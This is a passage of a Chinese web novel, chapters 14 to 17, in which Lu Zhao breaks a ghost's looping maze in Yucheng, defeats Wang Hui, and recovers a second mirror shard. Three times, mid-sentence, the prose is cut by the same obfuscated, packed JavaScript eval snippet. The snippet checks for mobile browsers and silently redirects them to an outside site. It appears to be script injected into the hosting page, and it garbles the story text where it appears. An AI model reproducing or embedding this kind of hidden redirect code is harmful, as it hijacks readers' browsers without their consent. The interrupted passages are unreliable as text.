这时陆昭朝他走来,余锏眉头微地一挑,好整以暇。 他不是来跟自己赊人情的,而是伸出拳头,五指张开,露出掌心的东西。 赫然是他宝贝得紧的玻璃瓶。 余锏愣了。 “我怕她还会再抢走。”陆昭将手掌往前递,“你可以帮我保管吗?余锏。” 14. 第 14 章 陆昭并非只担心玻璃瓶被抢走。 现在他知道王慧的规则了,她只会带走“孤寡之人”,而玻璃瓶在她口中是自己的“累身之物”,或许他还带着,王慧就不会让自己进牡丹亭。 将玻璃瓶暂寄在余锏这里,是因为信任他。而且陆昭这次一定要将沧海镜碎片拿到手,不达不休。 余锏喉结滚动,吐出两个字:“给我?” 闻晧要跟他一起去,陆昭只能交给余锏,“嗯。” 余锏的手指动了一下。 胳膊跟着往上抬了一点。 “如果你不回来,我会把它扔了。”他冷冷道。 陆昭一怔,点点头:“好。” 余锏腮帮子鼓了一下,咬得后牙槽发酸。他抬起手飞快地从陆昭掌心捞走了玻璃瓶。 陆昭一副完全不认为他会扔了摔了的模样,真诚地说了声“谢谢”。 余锏紧紧攥着玻璃瓶,看着陆昭跟闻晧融进人流。很快,两人消失不见。 赵松过来,询问道:“余道长,您留下来跟我们一起拦住他们吗?” 余锏淡淡扫了他一眼,没说话。 · 陆昭和闻晧从一开始顺着人流走,慢慢地觉得身体不受控,像被人流推着走。 两人本以为会走入牡丹亭,又或者走入迷宫。但队伍只是行进。天是黑的,地是白的,幽光在雾里浮沉,这是唯一的光源。 忽然,闻晧站在原地,不动了。 陆昭发现除他之外,也有许多人站在原地不动弹。 他们或是呆呆地看着前方,或是仰起头沉默不语。 过了一会儿,如梦初醒般,继续往前走。 陆昭脑海中仿佛出现一根线头,他试图抓住,却被闻晧打断了,“老陆,你刚才怎么不动了?” 陆昭一愣,“你说我不动了?” 闻晧点头,“是啊,你站在那里一动不动的,我喊你你也不理我。” 寒气从脚底爬到了脊背。 陆昭忽然意识到他犯了一个大错。 “快,离开这里!”来不及跟闻晧解释,陆昭抓起他的手腕,试图离开大街,钻入小巷。 但一堵无形的墙拦住了他们。 巷落幽深,如竖壁垒。 闻晧撞到看不见的墙上,捂住额头,“老陆,试试回头!” 两人转头想回到原来的地方,但人流簇拥着他们,摩肩擦踵,硬推着他们走。 陆昭强迫自己冷静下来想办法。 闻晧没有问他为什么要急着逃走,但他忽然间眼神呆滞,又放空了。 人流见他不抵抗,便松开他,继续前进。 一丝微妙的绝望感从陆昭心底升了起来。 闻晧回过神时看到的便是他垂头丧气的样子。 虽然两人只认识了寥寥数日,闻晧觉得与他十分投缘,仿佛多年至交。不管是来到陌生世界还是被血魔捉走,亦或被困花轿、险丧棺材,陆昭从没半点恐惧、沮丧的情绪。 陆昭苦涩开口:“对不起,老闻,是我连累了你。” 闻晧愣了愣,旋即扬起拳头捶了一下他的肩膀。 这一下力道不大不小,但对陆昭这当代弱鸡大学生来说算得上很疼。他揉着肩膀,看见闻晧哈哈大笑,“是我闻晧不够厉害,才让我的朋友陷入险境。你要怪就怪我吧,别怪自己。” 笑完了,闻晧难得露出很正经的神情,“老陆,你想想办法,我知道以你的本事,就算天塌下来你也能凿出一条缝。” 陆昭:“我哪有这么厉害……” “你说什么我就做什么。”闻晧挺起胸板,狠狠地吸了一口冷冰冰的雾气,“就算是怕鬼,我也能克服!” 应该可以。 怕鬼的闻晧在心里默默补充。 陆昭解释道:“现在整座榆城就是花墙迷宫。” 闻晧:“什么意思?” 陆昭看向前方的人,“原本我以为大家都往一个方向去,会进入迷宫花园,然后再到牡丹亭。我没想到的是整个榆城就是迷宫,你我已经陷在迷宫里了。” 闻晧恍然大悟,“怪不得我们出不去。” “在花墙迷宫里,每隔一段时间,我们就会头脑一片空白。直到完全忘记一切,就会进入牡丹亭,永远留在那里。” 说到这里,陆昭沉默了。 被困花墙迷宫的女人会被花墙吸引,或哭泣,或沉默,或低语。 既然榆城是一个庞大的花墙迷宫,那被困在这里的人也一样。 上次陆昭在花墙迷宫里摸索出了破障的办法,这次他立刻从怀里掏出沧海镜碎片,映照身后。 但它只是照出了一个个行尸走肉般的人。 陆昭明白了,这里没有障眼法般的浓雾,沧海镜没有用武之地。 那既然榆城也是迷宫,只要他弄清楚构造,总能找到出路。 陆昭让闻晧跟上,脚下步伐加快,绕过走得慢的人,直到看见了一个人在一间屋子面前停下。 她呆呆地看着紧闭的大门。 屋子里还有人,仿佛是感觉到了有人停留在门口,里面传来了恐惧的喊声:“走开!” 陆昭靠近女人,果然又听到了“孤独呀”的回响。 他听见房子里传来压抑的交谈。 “娘,好像是阿姐在外面,我们不开门吗?” “她已经嫁出去了,不再是你阿姐了!她现在被鬼怪迷了心智,疯了,都疯了!她不是我的女儿!” “孤独呀。” 女人张嘴,吐出这三个字。 闻晧听不下去了,撞开房门,却发现里面根本没有人。 赵松说榆城幸存的人闭门不出,可他们根本不在这里。 可声音还在,他站在门口,听见那七嘴八舌的讨论。 “我的女儿可是出了名的懂事听话,孝顺公婆,相夫教子。她可不是这只会疯女人呀!” “娘,阿姐说她没错。” “她哪里没错?她让我们家丢尽了脸。三番四次同我说和离,还拿死来威胁我。她都嫁出去了,死了又如何?死了也是李家的鬼,也要埋进李家祖坟。” 空荡荡的房间,没有人气,只有一句句刺人的话,在角角落落里的回荡。 “老闻。”陆昭略带着惊讶的声音在他身后。 闻晧回头,跟陆昭一样露出了诧愕的神情。 女人的神情淡然,麻木。 她绕过闻晧,径自走进屋里。闻晧看见通往里屋的门帘被神秘力量掀起,赫然是一座花园。 他想进去看看,眼前的门轰然闭上,碰了一鼻子灰。 再要推,便推不开了。 陆昭看向缓慢前进的人流。 不少人在房屋前停下,很快,也跟女人一样走进去,再也出不来了。 陆昭的心沉了下去。 心知不可浪费时间,两人继续寻找生路。 前面的人越来越少了。 天一直没有亮,连陆昭都不知道走了多久。 直到他发现自己回到了跟闻晧第一次看到女人消失的地方,陆昭停下脚步,一言不发。 闻晧已经被空白感袭击好几次了,这次花了一点时间才想起自己在这里干什么,“老陆,发现什么了吗?” 陆昭声音有些苦涩,“不一样了。” 王慧很聪明。她知道充满雾气的花墙迷宫挡不住陆昭,因此,这庞大的榆城并不是一个迷宫,它是一个首尾相接的莫比乌斯环。 这漫溢到人小腿高度的雾气并不是蒙蔽他们感知的,它是莫比乌斯环的“面”。他们如同一只只蚂蚁,在这面上前进,没昼没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313229|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜,直到彻底失忆,走向牡丹亭。 他要怎么才能打破这循环? 闻晧拍拍他的肩膀,“没事的,你一定能想出办法。实在不行,你把我给牺牲了。反正十八年后我还是一条好汉!” 陆昭的心情上扬了些,大胆猜测,“毕竟现实中的榆城不是首尾相连的,既然如此,找到旋转粘合的地方,或许能打破循环?” 闻晧一个字都听不懂,“叽里呱啦说什么呢。” 陆昭反问:“老闻,如果你是女鬼,会选哪一个地方作为一切的起始点?” 她总要选择一个地方作为起点,也作为终点。 闻晧脱口而出:“那肯定是我家啊。” 两人四目相对,异口同声:“废墟!” 两人庆幸赵松带他们去过一次。 一路回忆,一路寻找,两人找到了杨家。 也许是障眼法,第一次路过时他们竟没注意到这里。 陆昭有预感,沧海镜碎片可以帮上忙,但拿在手里却不知道该怎么做了。 闻晧在旁边安静地等着。没有催促。 陆昭心里没底,还想问问他的看法,转脸却发现闻晧目光呆滞,不知何时走到了旁边的屋子前。 屋子里传来说话声。一男一女。 “臭小子,出去了就不要再回来了!” “你对他这么凶干什么?小皮还是个孩子。” “就是因为生他,你才得了血崩之症。年纪轻轻就去了,我能不凶他?这逆子!我看到他就烦,最好他就这么死在外面,再也不要回来碍我的眼!都是他害死了你!” “嘣”地一声,门轰然而开。闻晧抬脚走了进去。 陆昭想阻拦他,却忽然被什么绊了一下,摔倒在地。 闻晧的身影没入屋中,门又关上了。 “你怎么又回来了?还抛却了累身之物……莫非,你想通了?” 陆昭爬起来,看见王慧坐在废墟中。 她一身红衣的颜色比上次淡了些。 不等陆昭说话,王慧继续说:“我本来想帮你杀了他,没想到他那么厉害,便是我有沧海镜碎片,也动他不得。你听我的,留在牡丹亭。往后不再孤独,不再害怕,亦不再有种种劫难。” 陆昭想问闻晧的安危。 关心则乱。他知道眼下有更重要的事,话到嘴边硬生生转了个弯:“是谁给了你沧海镜碎片?” 似乎是早料到陆昭会问起,王慧很平静:“在迷宫时你便拿出了它,你告诉我是哪里得来的,我便告诉你。” 这很公平,陆昭:“我从通城赵家的鬼阿夭手上拿到的,跟你一样,他借助沧海镜制定了一些规则,杀了很多人。” 王慧不喜欢他最后一句话,“我不是杀人,我是在救人。” 陆昭:“一念天堂,一念地狱。” 这句话让王慧陷入沉思了。 “我已经告诉你了。”陆昭说,“轮到你履行承诺。” 王慧淡淡道:“是一个男人给我的,他脸上有一块仿佛深深浸了鲜血的布,看见他的时候我以为见到了黑白无常。他让我保管好碎片,告诉我它能实现我的梦想。” 是丧魂。 陆昭懊恼当时没有向阿夭描述丧魂。 但既然通城里的敲门鬼是他,那大概率是他把碎片给了赵阿夭。 现在可以肯定一件事:血魔偷了沧海镜,把它弄碎,让丧魂将两块分别交给两个心存执念的鬼。 可他为什么要这么做? “你留下吧。”王慧还想游说陆昭,“你手中的碎片加上我的,我们一起将榆城变成孤寡之人的容身之处。你说的话我很认同,若只是躲在牡丹亭,外面的世界仍容不下我们,又能如何?倒不如将整个世界都变成牡丹亭,到时,那些伤害我们的人才是异类。” 15. 第 15 章 陆昭摇摇头,“我做不到。” 不是不想,是做不到。 这话仿佛刺痛了王慧,衣袂飞起,发丝疯长,“那我呢?你觉得我做得到吗?” 陆昭平静地看着她。 “救别人之前,先救自己。” 这话彻底激怒了她! 狂风卷起废墟的断垣残石,王慧腾空而起,红衣如鬼魅般瞬闪至陆昭面前。 她一双眼睛死死地盯着陆昭,恨意滔然。 倏地,她勾唇而笑,“你想惹怒我,好再与我打赌。” 陆昭确实想知道更多信息。 如果王慧能如赵阿夭那般,让他看见更多,他就能找到破局之法。 只是王慧已经觉察了。 她忽然攥住了陆昭的脖子,将他提了起来。 陆昭以为她要杀了自己,下一刻却摔到地上。 周围赫然是高高的花墙。 王慧的声音遥远而缥缈。 “是救也好,是杀也好。世人不善待你,你往后便留在牡丹亭吧。” 陆昭脸色变了变,慌忙用沧海镜碎片屏去雾气,寻找出路。 这一次,偌大的花墙迷宫里只有他一个人。 陆昭还记得迷宫的构造,加上沧海镜碎片,他很快便看见了出口。 但就在他即将抵达出口时,脚下一空,竟然回到了原点。 “就算你知道出口在哪里又如何?万般努力,不过一场空。” 像是在说他,又像在说自己。 “留下,才是出路。” 她的劝说淡淡的。 迷宫加上莫比乌斯环,陆昭不可能逃出去。 除非余锏来了。他能钳制住王慧。但一来他已经受了伤,二来陆昭将玻璃瓶托付给了他。打心里并不想他来。 空白感袭来。 陆昭捂住耳朵,仍然能听见“孤独呀”。 他忽然明白过来,这回响并不是王慧在他们耳边低语。而是来自他们心里,是每个人心里的声音。 “孤独呀”,这三个字好似酸水,腐蚀着人心。 陆昭靠近那些人时,听到的就是他们内心的声音。这声音越来越强烈,直到彻底吞噬这个人。 留下,才是出路。 陆昭在心里咀嚼着这句话。反复咀嚼,直到嚼烂。 过了一会儿,他的双眸渐渐坚定。 陆昭提起步子,在迷宫里狂奔。就算看到出口时会送回原点,他也会继续寻找出口。 与此同时,他失忆的间隔越来越短。直到跑不动了,双膝一软,跪在地上。 身旁的花藤轻轻颤着,就像春天的手,向他伸出枝桠。枝桠上长着枯萎的花。 他的眼睛彻底失去了神采。 “何必呢。”王慧轻轻叹息。 结局都一样。 陆昭双手颤颤巍巍的,伸向花藤。花苞仿佛被春雨打湿,低下头,掉进他掌心。 雾气散去了,花墙缓缓退开。露出山石流水,与傲然而立的牡丹亭。王慧站在中间,周遭是或说或笑,快活自在的女子。 她们脸上挟着笑,天真、灿烂的笑。只有王慧不笑。她在这一切里格格不入,好似动着的画里静止的人。 “来吧。”她朝陆昭伸出一只皓白玉手。 陆昭慢慢朝她走了过去,身体微微摇晃着。 王慧笑容欣慰。然而,却在陆昭靠近时骤然变色。 “孤独呀。” 这三个字瞬间包围了她,仿佛浓雾中射来的箭,一支支一簇簇射在她的稻草躯上。 王慧慌乱地看着陆昭,“不可能!你明明已经忘却前尘,为什么还会孤独?!” “孤独呀。” 陆昭仿佛听不到她在说什么,他靠近了,甚至攥住了王慧的手腕。 “放开!”王慧尖叫。 “孤独呀。” 陆昭在心里反反复复地念着。 从他回到原点开始,每踏出一步,他都在心里默念。 孤独呀。 这份孤独蚀骨融心,无法消解。便是忘却一切,也不行。 忘记了仇恨,忘记了怨怼,可孤独还是孤独。孤独是万年不化的冰,靠近它的人都会被冰冻。躯壳解冻了,灵魂还在雪山。 既然一个人的孤独会腐蚀他人,既然王慧认为忘却一切便可不再孤独,陆昭偏要试试逆流而上。 上一次来牡丹亭时他便察觉到王慧并没有摆脱孤独,可作为牡丹亭主,她不可以让任何人发现她的孤独。 这或许就是她的规则。 “孤独呀。” 这三个字像魔咒,像梵音,纠缠着王慧。 她惊恐万分地想逃,可这一切在沧海镜的规则之内。她亲自许的愿,亲手制定的规则,连她自己也不可豁免。 周遭一切瓦解破碎。 牡丹亭中的人往下坠,陆昭和王慧却向上飘去。 陆昭骤然回过神来,发现自己又回到了王慧的房间里。 她坐在梳妆台前,把玩着那奇怪男人给她的碎片。 他说这叫沧海镜。天下之大不过沧海,世理难容便入沧海。它能帮她新生。 王慧半信半疑。她不信这样一块碎镜能帮她。 房门忽然被人撞开,杨平闯了进来,身后跟着她的陪嫁丫鬟莺儿。王慧赶紧将碎片藏入袖里,转身不安地看着他们。 尽管对自己背主的行径感到不安,莺儿还是跟来了。她眼巴巴地看着杨平,等候自己的奖励。 “贱人!”杨平手里拿着柳条扎的鞭子。这东西打起人来伤口不深,却又疼又痒。让王慧死不掉,又能长记性。 他咒骂王慧,说她给自己戴绿帽子。与外男苟且,要不是莺儿告诉自己,他还不知道。 王慧被打得在地上滚,一直说没有。她只是去找大夫看伤。 杨平听后更加暴怒,骂她故意搞臭自己的名声,要整个榆城的人都知道自己打她。 王慧奄奄一息地趴在地上。 她用仅仅能撑开一条缝的眼睛看向杨平身后的莺儿。 莺儿很心虚,可为了以后能过上吃香喝辣的好日子,她还是直视王慧,嘴巴张张合合。隐约在说: “小姐,你别怪我呀,我只是想过上好日子,莺儿出身不好,不像你,好歹也有十几年好日子。你要是死了,杨平还会抬我当正房。小姐,你别怪我呀……” 那她去怪谁呢? 可怜的莺儿。可怜的自己。 孤独呀。 濒死之际,王慧心里回荡着这三个字。 她的血染红了藏在袖里的沧海镜碎片。 以血为契,得观沧海。 她死了。变成厉鬼,一场大火把杨家烧了个干净。 杨平和莺儿都被她索了命。她把他们的魂魄扯烂,吃掉。不让他们去阎罗殿颠倒是非。 杨平的父母刚好不在家,逃过一劫。看到儿子烧成焦炭的尸身,他们已经疯魔。老来丧子,活着比死还痛苦。 孤独呀。 王慧借沧海镜的力量创造了一个新世界。尚在闺中时,她偷偷翻阅一本京城传来的禁书。书中有一处牡丹亭,有一女子丽娘,有一词曰天然。有一园林,春色如许。 这般花花草草由人恋,生生死死随人愿,便酸酸楚楚无人怨。 生前求不得,死后尚可追。 嫁与杨平的王二娘子死了,却有一位牡丹亭主王慧,广纳天下孤寡之人。来也潇洒,去也潇洒。 ——当真如此吗? 陆昭看完了这一切,心情很复杂。 牡丹亭消失了,周遭一片黑暗。王慧像折断翅膀的蝴蝶,倒在不远处,奄奄一息。 她违反了沧海镜的规则,跟赵阿夭一样。牡丹亭主庇护所有孤寡之人,她不能动摇。 可孤独和喷嚏一样藏不住。 陆昭彻底放任自己坠入孤独,污染了她。王慧不得不承认,就算创造出牡丹亭,就算将整个榆城变成牡丹亭,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319827|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也还是孤独的。 不然她不会在和陆昭打赌时破防,更不会畏惧与他再赌一把。 她输不起。 陆昭弯腰拾起掉落在地上的沧海镜碎片,将两块镜片对比。 它们的接缝处一触碰到便迅速融为一体。 看着还差一块。 “为什么……你不害怕呢?”王慧幽幽地问。 “怕什么?” “孤独。”王慧攥着心口,抬起苍白的脸,“你胆子可真大。若我是你,断不敢以身饲虎。你就不怕输?” 陆昭沉默一会儿,“输就输吧,输了也是命。” 王慧怔了怔,看着他的眼神很复杂,半晌,敞声大笑。 “我输得不冤枉!你的心孤独极了,我比不上你。”她的眼里还带着几分怜爱,就像她看牡丹亭里不谙世事的女子们时。 陆昭见她要消失了,心底生出一丝触动,“我很想帮你,但是……” 但是上哪儿去造一个乌托邦? 天底下没有牡丹亭。 “救别人之前,先救自己。”王慧轻语道,“这不是你说的么?” 她婉拒了。 陆昭怔怔地看着。王慧的身体如花一般迅速枯萎,萎靡在地,风一吹便消散了。 周围明亮了起来。 陆昭不太适应突然的光亮,不禁闭上眼。 “老陆!”闻晧攥住他的肩膀,用力摇晃,“老陆,你醒醒!你不会是丢魂了吧?” 陆昭快晕了,“我没事。” 他适应了光线,发现天已经亮了。两个人站在杨家的废墟里。 忽然他的鼻尖感觉到一点湿润。 陆昭抬起头,有一滴水掉进他眼里。接着许多落了下来。 下雨了。 闻晧拉着他赶回衙门,一路上看到了许多跟他们一样茫然地坐在大街上的人,但他们只是不知道自己为什么在这里,而不是失了魂。 雨一直下。从早上下到中午,乌云散去的时候太阳也出来了。普照整座榆城。 湿冷的雾气被温暖的日光驱散了。 衙门里“疯了”的女人们大多都“痊愈”了。但有的人还没有好,醒来后听见自己的丈夫第一句话是让她赶紧回家干活,便又继续沉默,呆呆地看着天。 县官知道女鬼消散了,高兴不已,当即大手一挥要给陆昭三人设宴庆祝。另一边嘱咐赵松赶紧让疯女人和她们的家人回去,衙门太小,可容纳不下这么多尊大佛。 陆昭换了一身衣服,刚出方面就撞上了一块铁板。 他连忙后退两步,被门槛绊倒,往后摔去。 对方搂住了他的腰,另一只手滑到他的手腕,提起来,他的袖子自然而然地滑到了手肘,露出手臂上的红线。 又多了一片绿叶。 “双叶一花。”余锏似乎是在提醒他,没多少时间了。 陆昭脱口而出:“余锏,我的东西还在吗?” 余锏眉头重重地拧了一下。 他松开陆昭,手臂轻轻抖了一下,有什么滑到了掌心。 陆昭伸手去拿,余锏一把塞进了他怀里。 陆昭连忙用手指勾住挂着玻璃瓶的编织绳,诧异地看向他。 他好像不高兴? “老陆啊老陆啊!” 闻晧着急忙慌地跑过来。他捂着鼻子,血从手掌边缘滴答滴答地往下流。 看见余锏他还挺高兴的,“余老兄,你给赵大哥他们帮忙了吗?” 陆昭看余锏。 “没有。”余锏说话冷冰冰的。 这个回答算意料之外。 陆昭觉得余锏是一个外冷内热的人。 他话很少,像武侠小说里的高手,也确实会“家学”,多次救他与闻晧于水火之中。 他和闻晧揽下风险时,他不曾反对一句。 这一次没有见到余锏,他以为余锏去帮榆城百姓了。 “老闻,你怎么流鼻血了?”陆昭关心道。 16. 第 16 章 闻晧脸色很难看,“我……我的药吃完了。” 今天他翻出红色小药瓶,随手来一颗。 空空如也。 闻晧不信,往外倒了许多下,还闭上一只眼往瓶里看。 他从没注意过里面有多少颗药丸,也不知道能吃多久,如今方知吃完了。 说完,他两眼一翻晕了过去。 再醒来时迷迷糊糊地看见陆昭和一个大夫打扮的人在交谈。 “……道长是中毒了,但老朽也不知是什么毒。哎,若如道长所说,有能够压制毒性的丹丸,应尽早寻觅一些才是。” 陆昭的心沉到谷底,“有拖延毒发的药吗?” 大夫抚着白须,“有,县官府里有一些珍贵药材,或能拖延一些时日。不过还是要对症下药,方可根治。” 陆昭让大夫把药名写在纸上。恰好赵松来了,听衙役说闻晧流鼻血晕倒了就过来看望一下。 陆昭把纸给他,“赵大哥,闻晧中了毒,这上面的药材可以延缓毒发,听说县官大人有,麻烦你交给他。” 赵松接过,看见纸上写着什么“千年人参”“万年虫草”的,立刻明白过来,“这些东西看着就很宝贵,大人一定不会给的。” 他这么直白,倒让陆昭愣了下。 “不过这次多亏了三位道长,要不是你们,榆城就已经变鬼城了。这样吧,大人正在衙门里写信,我现在去他府里给你们取。先斩后奏,救人要紧。” 陆昭赶紧鞠了一躬,“谢谢赵大哥,但你会不会……” 赵松摆摆手,“大人写完信就上京邀功了,说不定这一去都不回来了,少几样珍稀宝贝他也发现不了的。那我现在就去,你们且等着。” 闻晧浑身跟散架了似的,坐起来的过程中哎哟哎哟地叫。 陆昭走过来,“老闻,那个瓶子里有多少颗药?” 闻晧心虚,“我、我不知道啊。” 他又没倒出来数过。有就吃没有就没有……就跟他给陆昭喂小蓝丸一样,闻晧压根不在意。 陆昭果然想到小蓝瓶了,“那个疗伤的药也吃完了?” “嗯……” 那个瓶子陆昭碰过的,第一次喂给闻晧的时候摇了摇,剩下不少。 他忽然想到自己在通城时被鬼手贯穿肩头,当时伤口很快就愈合了,“老闻,是不是在通城的时候,都给我吃了?” “没有没有。”闻晧连忙否认,怕陆昭因此有心理负担。故作轻松道,“哎呀,我们认识之前我就吃了很多,你也就吃了两三颗吧,跟我吃的比起来九牛一毛。” 陆昭沉默了。 闻晧不习惯这气氛,想说点笑话活跃一下。被陆昭开口打断:“我出去等赵大哥,你好好休息。” 走出房间,陆昭看见余锏靠着窗棂。 他听到了两人的对话,扭头看陆昭。 两个人都没说话,陆昭开口打破沉默,“余锏,是不是没有血魔,醍醐天就不会救老闻?” 似乎是个有意思的问题。余锏的眉毛竟向上舒展了。 “是。” 他回答得斩钉截铁。 陆昭不明白,“醍醐天不是正道之光吗?老闻那么向往的地方,会因为他没有投名状就看着他死?” “是。” 这个字几乎是贴着陆昭的话尾出现的。 陆昭很快就收拾好了心情,他已经过了埋怨规则的年纪,“余锏,我从王慧那里拿到了第二块沧海镜碎片。” 陆昭把碎片拿出来,两块碎片的接缝处毫无缝隙,仿佛不曾破碎过。破镜重圆,只有玄幻世界可以做到。 他摸着镜面,给余锏比划剩下的部分,“我觉得只剩一块了。听王慧的描述,把沧海镜碎片给她的是丧魂。既然先前丧魂在通城出现过,那这两块碎片都是他给赵阿夭和王慧的。” 余锏“嗯”了声。 陆昭继续说:“我觉得最后一块在血魔手里。” 余锏看着他不说话。 陆昭:“血魔要是把三块碎片都给了别人,那他还要偷来干嘛?也许,我是说也许,在他手里那块最重要。他在通过赵阿夭和王慧,获得沧海镜里的某种力量。” 余锏仍是不说话。 陆昭抬眼看他,“余锏,你觉得呢?” 他总算开口了:“你翻过来看看。” 翻过来?陆昭将沧海镜翻了过来。 镜子背面白花花的,并没什么特别之处。如果有,陆昭一开始就会发现了。 但既然余锏这么说,肯定有他没发现的地方。陆昭将镜子翻来覆去,还是没有发现蹊跷。 陆昭又望向他。 余锏伸手攥住了他的手。 老茧贴着手背,像磨砂纸。 他将陆昭的手举了起来,侧身让开。阳光洒进走廊,落到了陆昭的衣服、手、脸上。他不禁眯起眼,又缓缓睁大了眼睛。 阳光覆盖沧海镜碎片时,镜面荡漾开波纹。 仿佛藤蔓疯狂生长,织作重重叠叠的复杂纹路。隐约可见是一朵花,就在镜子背面。 它不过出现了一刹那。消失之后陆昭开始怀疑自己是否看见了。 “少了什么?” 余锏的声音在头顶。 陆昭嘴比脑子都快:“花心。” 少的那一块碎片,恰恰包含了花心。 赵松抱着一个锦盒跑过来,“陆道长,药材拿来了!” 陆昭把沧海镜揣进怀里,“麻烦赵大哥了。” 赵松却没让他碰,怀揣锦盒错开了陆昭,“我这就按照大夫的意思去熬药,陆道长,此事是我擅作主张,与你无关。” 陆昭明白过来,“要是被县官知道——” “你们救了整个榆城的人,大老爷要罚,罚我便是。我赌他罚不了,京城啊,多好的地方,去了再也不回来。” 说完便吭哧吭哧跑了。 陆昭看着他飞快溜走的背影,哑然失笑。 “你不问?” 余锏还在他身后。 陆昭已经得到想要的答案,一时间不明白他要自己问什么,“啊?” 陆昭竟然从余锏脸上读到了一丝无语。 他忽然抓住了陆昭的手腕,后者诧异但没反抗。 余锏用一条黑色的发带缠住了他手上红线覆盖的区域。 “见光,它会长得更快。” 陆昭看着自己掌心的手帕,手臂的发带,他都要变成木乃伊了。 他忽然想起自己答应了余锏要帮他洗手帕。 这只手的伤口已经好了,陆昭把手帕拆了下来。 他刚张唇。余锏把手帕拿了回去。 陆昭愣了下,“那上面有我的血……” 干涸了,不好洗。 余锏将手帕置入怀中,“伤口。” 伤口? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351363|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆昭茫然地低头,看向自己两只手掌。他忽然想起来,右手伤过,左手也伤过,如今却没有留下半点伤痕。 尤其是左手,在花墙迷宫里被沧海镜划破,之后没有吃闻晧的伤药,现在却没留下痕迹。 他从没注意过。 这一切无不暗示着他现在不是一个“普通人”了。 陆昭淡淡地感慨了一句:“这个毒好厉害。” 他觉得是企图致他于死地的毒反过来修补了他。 就像鸩毒,既杀人又解渴。 余锏的眉心跳了一下。 他看陆昭的眼神不一样了。 浓浓的药香从厨房飘进了走廊。 闻晧喝下珍稀药材的汤汁后,脸色变得红润了些,鼻血也止住了。 大夫说这是“回光返照”,药吊着他的命。 闻晧还挺乐观,这下他跟陆昭一样“性命紧急”,何尝不是一种共死同生。 陆昭记得他是在梦里看见沧海镜下落的,为三人明日便能出发,早早地握着沧海镜睡下了。 梦里天旋地转。 奇怪的是他并没有进入在谁的视角,身体好像被一股力量固定了,架在高高的石台上。 一个满头银发的男人端坐在“他”面前。 他掌心拨动,仿佛荡着水波。月光从天顶漏下来,洒在他身上。环绕着他们的是大片大片模糊的雾紫色。 不知过了多久,男人停下动作。他起身离开了这里。 又过了一会儿,一个人从天而降,一把握住了陆昭。他好像整个人被提了起来,朝上飞去。 “孽障!” 银发男人发现盗贼,折返回来。他身后跟着一抹黑影,伸出手,掌心数百道红线天罗地网般缠住了陆昭,他感觉到三股截然不同的力道在自己身上角力,清脆一声,他“碎”了。 红线骤然一弹,将他推了上去。 陆昭的视角混乱。 三块镜面彼此映照,他从碎镜里看到了自己。当他往下看时,重重叠叠的雾紫中,银发男人仰头怒视。 他身旁的黑影抬起头,月光掉到他的鼻尖,只看得清一双苍山负雪的眼睛。 突如其来的黑袍裹住了陆昭。 转眼再见光明。 重伤衰老的陀罗和丧魂从上而下地“看着”他。 丧魂担忧道:“天魔大人,您的伤势……” “纳兰!”陀罗愤而哀鸣。动了气,忍不住重重咳嗽,咳出血来。 丧魂心疼地用手掌接住血,往陀罗嘴边送,被陀罗一掌拍开,“把沧海镜修好,待我回到过去,势必杀了他!” 丧魂局促地等待着。 “天光为线,执念为针,鲜血为引。”陀罗冷静地思索,半晌,将丧魂叫过去,让他去找到两个执念深重的人,助他们成魔成执。屠尽诸城。因为沧海镜的镜心还在他手中,不怕轶失。 怕被万古愁的人追查到,陀罗又要他再建一窟。抓取血奴,用鲜血延缓他伤势。 丧魂抱着两块碎片走出山洞,吐出一口浓重的白雾。 陆昭发现他们在一座露雪霜山上。 很远的地方有一座城池,丧魂轻身跃下山崖。 失重感袭来,陆昭从床上摔了下来。 动静很大,引得闻晧推门进来,“老陆你怎么摔地上了?” 陆昭举起沧海镜碎片,“我知道最后一块在哪里了。” 17. 第 17 章 陆昭把梦里的城池画到了纸上。闻晧拿着纸,上下调转,凑近离远,“老陆,这要是我家那边,我一定一眼就能认出来。” 嘴上这么说,心里犯嘀咕。 这黑乎乎的一坨是什么?树黑乎乎就算了,连城池也要晕到一起了。幸好有一个比较高的楼,较为突出,可称之为地标。不然这地方看上去随便哪儿都可以。找到猴年马月去。 “不过你画功还是不错的!”闻晧违心地夸奖。 陆昭知道自己几斤几两,过问了赵松。简单地描述过后赵松猜测这是榆城千里之外的阳城。陆昭画上的高楼就是阳城出了名的望雪楼。 楼得其名,皆因阳城外有雪山,望雪楼上眺望,可见云光照雪,万山载白。 这与陆昭梦里所见陀罗的藏身地不谋而合。 知道三人接下来要去哪里,赵松也替他们高兴,准备了三匹好马。骑着它们,一天一夜就可以到了。 